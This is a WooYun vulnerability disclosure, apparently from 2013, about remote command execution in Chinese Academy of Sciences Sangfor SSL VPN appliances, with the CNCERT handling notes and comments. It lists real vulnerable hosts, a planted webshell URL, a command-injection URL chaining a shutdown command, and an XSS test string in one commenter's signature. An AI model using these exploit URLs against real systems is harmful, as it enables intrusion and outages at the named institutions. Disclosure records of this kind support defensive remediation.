当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019974

漏洞标题:中科院批量内网设备远程命令执行

相关厂商:中国科学院

漏洞作者: none

提交时间:2013-03-12 17:15

修复时间:2013-06-10 17:15

公开时间:2013-06-10 17:15

漏洞类型:远程代码执行

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-12: 细节已通知厂商并且等待厂商处理中
2013-03-12: 厂商已经确认,细节仅向厂商公开
2013-03-15: 细节向第三方安全合作伙伴开放
2013-05-06: 细节向核心白帽子及相关领域专家公开
2013-05-16: 细节向普通白帽子公开
2013-05-26: 细节向实习白帽子公开
2013-06-10: 细节向公众公开

简要描述:

中科院漏洞修补不及时 导致基本所有站都存在远程SHELL执行
混点RANK不容易啊 要发两次

详细说明:

http://159.226.88.2:1000/ 国家天文台
http://admin.cas.cn:1000 中科院站群
以下是其他部分中科院站点 版本都是M5.6 全部存在 WooYun: 深信服ssl vpn远程代码执行漏洞 漏洞 可以远程开关机 可以远程任意SHELL
照理可推中科院的所有VPN存在远程任意玩。
https://159.226.162.120:4430
https://159.226.119.53:4430
http://vpn.cashq.ac.cn:1000
https://210.77.69.15:4430
https://210.77.72.11:4430
https://124.16.151.162:4430
https://210.75.252.98:4430
https://159.226.152.4:4430

漏洞证明:

http://159.226.88.2:1000/cgi-bin/php-cgi/html/s.php
天文台一句话 ROOT权限
http://159.226.88.2:1000/cgi-bin/php-cgi/html/daemon/tsproxy.php?cmd=ifconfig||shutdown

修复方案:

1.及时让深信服打补丁(经常监督着)
2.换厂商(如果老是有严重安全漏洞都不告知下的话)

版权声明:转载请注明来源 none@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2013-03-12 18:24

厂商回复:

CNVD确认并复现所述情况,将在明天上班后转由CNCERT直接协调中国科学院网站管理方处置。
rank 18

最新状态:

暂无


漏洞评价:

评论

  1. 2013-03-12 17:15 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    你得写详细啊 ...

  2. 2013-03-12 17:20 | none ( 实习白帽子 | Rank:40 漏洞数:5 | 十次十次啊 hack it then know more~)

    @xsser 明说混RANK了呵呵 原漏洞还是很详细了 重点在于想让某厂商出现重要安全漏洞 还是提醒下重要用户更新或打补丁。

  3. 2013-03-12 18:00 | cncert国家互联网应急中心(乌云厂商)

    应用软件漏洞,看来要祭出检测神器了。

  4. 2013-03-13 08:49 | none ( 实习白帽子 | Rank:40 漏洞数:5 | 十次十次啊 hack it then know more~)

    @xsser 突然非常理解与赞同你那句话了 如果我把科访问资源资源列出来 并来个目的地址转换的规格 应该就20RANK了 呵呵 (其实利用漏洞发生危害思路比发现漏洞本身可能更值得探讨)

  5. 2013-03-23 08:56 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    岂不是还有很多 没有补的

  6. 2013-03-25 11:41 | none ( 实习白帽子 | Rank:40 漏洞数:5 | 十次十次啊 hack it then know more~)

    @possible 是的

  7. 2013-04-03 20:03 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    换厂商这句话给力了

  8. 2013-04-13 10:50 | cy3ber ( 路人 | Rank:3 漏洞数:1 | 11</textarea><script>alert(xss)</script>)

    深信服的设备本来就不咋滴。还厂商不很正常嘛?